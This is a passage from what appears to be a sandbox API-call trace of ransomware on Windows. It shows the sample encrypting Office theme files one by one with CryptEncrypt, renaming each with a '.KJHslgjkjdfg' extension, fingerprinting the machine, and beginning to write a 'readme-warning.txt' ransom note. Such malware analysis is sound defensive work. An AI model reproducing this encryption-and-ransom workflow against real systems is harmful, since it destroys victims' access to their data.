files\\microsoft shared\\themes14\\blueprnt\\blueprnt.elm"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\BLUEPRNT.ELM.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blueprnt\\blueprnt.elm.kjhslgjkjdfg")) returned 1 [0171.690] CloseHandle (hObject=0x114) returned 1 [0171.691] FindNextFileW (in: hFindFile=0x2f182c8, lpFindFileData=0x4dff078 | out: lpFindFileData=0x4dff078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5fbc5df0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x225, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="BLUEPRNT.INF", cAlternateFileName="")) returned 1 [0171.691] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\BLUEPRNT.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blueprnt\\blueprnt.inf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0171.692] GetProcessHeap () returned 0x2ef0000 [0171.692] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0171.692] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0171.692] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff008 | out: lpNewFilePointer=0x0) returned 1 [0171.692] WriteFile (in: hFile=0x114, lpBuffer=0x4dff018*, nNumberOfBytesToWrite=0xb, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x4dff018*, lpNumberOfBytesWritten=0x4dfefe8*=0xb, lpOverlapped=0x0) returned 1 [0171.694] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dfefec | out: phKey=0x4dfefec*=0x2f18308) returned 1 [0171.694] CryptSetKeyParam (hKey=0x2f18308, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0171.694] GetProcessHeap () returned 0x2ef0000 [0171.694] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0171.694] CryptEncrypt (in: hKey=0x2f18308, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dfefd0*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dfefd0*=0x40) returned 1 [0171.694] CryptDestroyKey (hKey=0x2f18308) returned 1 [0171.694] WriteFile (in: hFile=0x114, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dfefe8*=0x40, lpOverlapped=0x0) returned 1 [0171.694] WriteFile (in: hFile=0x114, lpBuffer=0x4dfeff0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x4dfeff0*, lpNumberOfBytesWritten=0x4dfefe8*=0x4, lpOverlapped=0x0) returned 1 [0171.694] WriteFile (in: hFile=0x114, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dfefe8*=0x10, lpOverlapped=0x0) returned 1 [0171.695] WriteFile (in: hFile=0x114, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dfefe8*=0x80, lpOverlapped=0x0) returned 1 [0171.695] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff010 | out: lpNewFilePointer=0x0) returned 1 [0171.695] WriteFile (in: hFile=0x114, lpBuffer=0x4dff000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x4dff000*, lpNumberOfBytesWritten=0x4dfefe8*=0x8, lpOverlapped=0x0) returned 1 [0171.695] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dfefec | out: phKey=0x4dfefec*=0x2f18308) returned 1 [0171.695] CryptSetKeyParam (hKey=0x2f18308, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0171.695] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0171.695] ReadFile (in: hFile=0x114, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x225, lpNumberOfBytesRead=0x4dfeff4, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dfeff4*=0x225, lpOverlapped=0x0) returned 1 [0171.695] CryptEncrypt (in: hKey=0x2f18308, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dfefd0*=0x230, dwBufLen=0x230 | out: pbData=0x4bf0020*, pdwDataLen=0x4dfefd0*=0x230) returned 1 [0171.695] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0171.695] WriteFile (in: hFile=0x114, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x230, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dfefe8*=0x230, lpOverlapped=0x0) returned 1 [0171.695] CryptDestroyKey (hKey=0x2f18308) returned 1 [0171.696] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x304, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0171.696] SetEndOfFile (hFile=0x114) returned 1 [0171.698] GetProcessHeap () returned 0x2ef0000 [0171.698] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0171.698] GetProcessHeap () returned 0x2ef0000 [0171.698] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0171.698] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\BLUEPRNT.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blueprnt\\blueprnt.inf"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\BLUEPRNT.INF.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blueprnt\\blueprnt.inf.kjhslgjkjdfg")) returned 1 [0171.703] CloseHandle (hObject=0x114) returned 1 [0171.703] FindNextFileW (in: hFindFile=0x2f182c8, lpFindFileData=0x4dff078 | out: lpFindFileData=0x4dff078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x785, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0171.703] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blueprnt\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0171.704] GetProcessHeap () returned 0x2ef0000 [0171.704] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0171.704] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0171.707] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff008 | out: lpNewFilePointer=0x0) returned 1 [0171.707] WriteFile (in: hFile=0x114, lpBuffer=0x4dff018*, nNumberOfBytesToWrite=0xb, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x4dff018*, lpNumberOfBytesWritten=0x4dfefe8*=0xb, lpOverlapped=0x0) returned 1 [0171.712] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dfefec | out: phKey=0x4dfefec*=0x2f18308) returned 1 [0171.712] CryptSetKeyParam (hKey=0x2f18308, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0171.712] GetProcessHeap () returned 0x2ef0000 [0171.712] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0171.712] CryptEncrypt (in: hKey=0x2f18308, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dfefd0*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dfefd0*=0x40) returned 1 [0171.712] CryptDestroyKey (hKey=0x2f18308) returned 1 [0171.713] WriteFile (in: hFile=0x114, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dfefe8*=0x40, lpOverlapped=0x0) returned 1 [0171.713] WriteFile (in: hFile=0x114, lpBuffer=0x4dfeff0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x4dfeff0*, lpNumberOfBytesWritten=0x4dfefe8*=0x4, lpOverlapped=0x0) returned 1 [0171.713] WriteFile (in: hFile=0x114, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dfefe8*=0x10, lpOverlapped=0x0) returned 1 [0171.713] WriteFile (in: hFile=0x114, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dfefe8*=0x80, lpOverlapped=0x0) returned 1 [0171.713] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff010 | out: lpNewFilePointer=0x0) returned 1 [0171.713] WriteFile (in: hFile=0x114, lpBuffer=0x4dff000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x4dff000*, lpNumberOfBytesWritten=0x4dfefe8*=0x8, lpOverlapped=0x0) returned 1 [0171.714] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dfefec | out: phKey=0x4dfefec*=0x2f18308) returned 1 [0171.714] CryptSetKeyParam (hKey=0x2f18308, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0171.714] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0171.714] ReadFile (in: hFile=0x114, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x785, lpNumberOfBytesRead=0x4dfeff4, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dfeff4*=0x785, lpOverlapped=0x0) returned 1 [0171.714] CryptEncrypt (in: hKey=0x2f18308, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dfefd0*=0x790, dwBufLen=0x790 | out: pbData=0x4bf0020*, pdwDataLen=0x4dfefd0*=0x790) returned 1 [0171.714] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0171.714] WriteFile (in: hFile=0x114, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x790, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dfefe8*=0x790, lpOverlapped=0x0) returned 1 [0171.714] CryptDestroyKey (hKey=0x2f18308) returned 1 [0171.715] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x864, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0171.715] SetEndOfFile (hFile=0x114) returned 1 [0171.729] GetProcessHeap () returned 0x2ef0000 [0171.729] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0171.729] GetProcessHeap () returned 0x2ef0000 [0171.729] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0171.729] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blueprnt\\preview.gif"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\PREVIEW.GIF.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blueprnt\\preview.gif.kjhslgjkjdfg")) returned 1 [0171.730] CloseHandle (hObject=0x114) returned 1 [0171.731] FindNextFileW (in: hFindFile=0x2f182c8, lpFindFileData=0x4dff078 | out: lpFindFileData=0x4dff078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad12690, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x6b0f, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1 [0171.731] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blueprnt\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0171.882] GetProcessHeap () returned 0x2ef0000 [0171.882] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0171.882] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0171.882] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff008 | out: lpNewFilePointer=0x0) returned 1 [0171.883] WriteFile (in: hFile=0x114, lpBuffer=0x4dff018*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x4dff018*, lpNumberOfBytesWritten=0x4dfefe8*=0x1, lpOverlapped=0x0) returned 1 [0171.886] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dfefec | out: phKey=0x4dfefec*=0x2f18308) returned 1 [0171.886] CryptSetKeyParam (hKey=0x2f18308, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0171.886] GetProcessHeap () returned 0x2ef0000 [0171.886] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0171.886] CryptEncrypt (in: hKey=0x2f18308, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dfefd0*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dfefd0*=0x40) returned 1 [0171.886] CryptDestroyKey (hKey=0x2f18308) returned 1 [0171.886] WriteFile (in: hFile=0x114, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dfefe8*=0x40, lpOverlapped=0x0) returned 1 [0171.887] WriteFile (in: hFile=0x114, lpBuffer=0x4dfeff0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x4dfeff0*, lpNumberOfBytesWritten=0x4dfefe8*=0x4, lpOverlapped=0x0) returned 1 [0171.887] WriteFile (in: hFile=0x114, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dfefe8*=0x10, lpOverlapped=0x0) returned 1 [0171.887] WriteFile (in: hFile=0x114, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dfefe8*=0x80, lpOverlapped=0x0) returned 1 [0171.887] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff010 | out: lpNewFilePointer=0x0) returned 1 [0171.887] WriteFile (in: hFile=0x114, lpBuffer=0x4dff000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x4dff000*, lpNumberOfBytesWritten=0x4dfefe8*=0x8, lpOverlapped=0x0) returned 1 [0171.887] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dfefec | out: phKey=0x4dfefec*=0x2f18308) returned 1 [0171.887] CryptSetKeyParam (hKey=0x2f18308, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0171.887] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0171.887] ReadFile (in: hFile=0x114, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x6b0f, lpNumberOfBytesRead=0x4dfeff4, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dfeff4*=0x6b0f, lpOverlapped=0x0) returned 1 [0171.908] CryptEncrypt (in: hKey=0x2f18308, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dfefd0*=0x6b10, dwBufLen=0x6b10 | out: pbData=0x4bf0020*, pdwDataLen=0x4dfefd0*=0x6b10) returned 1 [0171.909] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0171.909] WriteFile (in: hFile=0x114, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x6b10, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dfefe8*=0x6b10, lpOverlapped=0x0) returned 1 [0171.909] CryptDestroyKey (hKey=0x2f18308) returned 1 [0171.909] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x6be4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0171.909] SetEndOfFile (hFile=0x114) returned 1 [0171.912] GetProcessHeap () returned 0x2ef0000 [0171.912] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0171.912] GetProcessHeap () returned 0x2ef0000 [0171.912] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0171.912] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blueprnt\\thmbnail.png"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\THMBNAIL.PNG.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blueprnt\\thmbnail.png.kjhslgjkjdfg")) returned 1 [0171.931] CloseHandle (hObject=0x114) returned 1 [0171.932] FindNextFileW (in: hFindFile=0x2f182c8, lpFindFileData=0x4dff078 | out: lpFindFileData=0x4dff078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad12690, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x6b0f, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0 [0171.932] GetProcessHeap () returned 0x2ef0000 [0171.932] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0171.932] CryptImportKey (in: hProv=0x2f0c268, pbData=0x4dfedb8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f0c234 | out: phKey=0x2f0c234*=0x2f18308) returned 1 [0171.932] CryptDecrypt (in: hKey=0x2f18308, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898, pdwDataLen=0x4dfee20 | out: pbData=0x2f0c898, pdwDataLen=0x4dfee20) returned 1 [0171.932] CryptDestroyKey (hKey=0x2f18308) returned 1 [0171.932] GetProcessHeap () returned 0x2ef0000 [0171.932] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c8e0 [0171.932] CryptImportKey (in: hProv=0x2f0c268, pbData=0x4dfedb8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f0c234 | out: phKey=0x2f0c234*=0x2f18308) returned 1 [0171.932] CryptDecrypt (in: hKey=0x2f18308, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c8e0, pdwDataLen=0x4dfee20 | out: pbData=0x2f0c8e0, pdwDataLen=0x4dfee20) returned 1 [0171.932] CryptDestroyKey (hKey=0x2f18308) returned 1 [0171.932] GetProcessHeap () returned 0x2ef0000 [0171.932] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x3c0) returned 0x2f47728 [0171.932] CryptImportKey (in: hProv=0x2f0c268, pbData=0x4dfedb8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f0c234 | out: phKey=0x2f0c234*=0x2f18308) returned 1 [0171.932] CryptDecrypt (in: hKey=0x2f18308, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f47728, pdwDataLen=0x4dfee20 | out: pbData=0x2f47728, pdwDataLen=0x4dfee20) returned 1 [0171.933] CryptDestroyKey (hKey=0x2f18308) returned 1 [0171.933] GetProcessHeap () returned 0x2ef0000 [0171.933] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c928 [0171.933] CryptImportKey (in: hProv=0x2f0c268, pbData=0x4dfe990, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f0c234 | out: phKey=0x2f0c234*=0x2f18308) returned 1 [0171.933] CryptDecrypt (in: hKey=0x2f18308, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c928, pdwDataLen=0x4dfea00 | out: pbData=0x2f0c928, pdwDataLen=0x4dfea00) returned 1 [0171.933] CryptDestroyKey (hKey=0x2f18308) returned 1 [0171.933] GetProcessHeap () returned 0x2ef0000 [0171.933] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x20) returned 0x2f11728 [0171.933] CryptImportKey (in: hProv=0x2f0c268, pbData=0x4dfe990, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f0c234 | out: phKey=0x2f0c234*=0x2f18308) returned 1 [0171.933] CryptDecrypt (in: hKey=0x2f18308, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f11728, pdwDataLen=0x4dfea00 | out: pbData=0x2f11728, pdwDataLen=0x4dfea00) returned 1 [0171.933] CryptDestroyKey (hKey=0x2f18308) returned 1 [0171.933] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion", ulOptions=0x0, samDesired=0x20119, phkResult=0x4dfe9fc | out: phkResult=0x4dfe9fc*=0x114) returned 0x0 [0171.933] RegQueryValueExA (in: hKey=0x114, lpValueName="ProductId", lpReserved=0x0, lpType=0x0, lpData=0x4dfea08, lpcbData=0x4dfea04*=0x400 | out: lpType=0x0, lpData=0x4dfea08*=0x30, lpcbData=0x4dfea04*=0x18) returned 0x0 [0171.933] RegCloseKey (hKey=0x114) returned 0x0 [0171.933] GetProcessHeap () returned 0x2ef0000 [0171.934] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c928 | out: hHeap=0x2ef0000) returned 1 [0171.934] GetProcessHeap () returned 0x2ef0000 [0171.934] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f11728 | out: hHeap=0x2ef0000) returned 1 [0171.934] GetProcessHeap () returned 0x2ef0000 [0171.934] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x20) returned 0x2f11728 [0171.934] CryptImportKey (in: hProv=0x2f0c268, pbData=0x4dfe770, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f0c234 | out: phKey=0x2f0c234*=0x2f18308) returned 1 [0171.934] CryptDecrypt (in: hKey=0x2f18308, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f11728, pdwDataLen=0x4dfe7d4 | out: pbData=0x2f11728, pdwDataLen=0x4dfe7d4) returned 1 [0171.934] CryptDestroyKey (hKey=0x2f18308) returned 1 [0171.934] GetEnvironmentVariableW (in: lpName="SystemDrive", lpBuffer=0x4dfe7d8, nSize=0x104 | out: lpBuffer="C:") returned 0x2 [0171.934] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x0, lpVolumeSerialNumber=0x4dfe7d0, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x4dfe7d0*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0171.934] GetProcessHeap () returned 0x2ef0000 [0171.934] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f11728 | out: hHeap=0x2ef0000) returned 1 [0171.934] wsprintfA (in: param_1=0x4dfea1f, param_2="-%08X" | out: param_1="-9C354B42") returned 9 [0171.934] wsprintfA (in: param_1=0x4dfee2c, param_2="%08X" | out: param_1="4B2E4630") returned 8 [0171.935] GetProcessHeap () returned 0x2ef0000 [0171.935] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x3b4) returned 0x2f406c8 [0171.935] wsprintfW (in: param_1=0x4dfddfc, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\readme-warning.txt") returned 83 [0171.935] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\readme-warning.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blueprnt\\readme-warning.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, 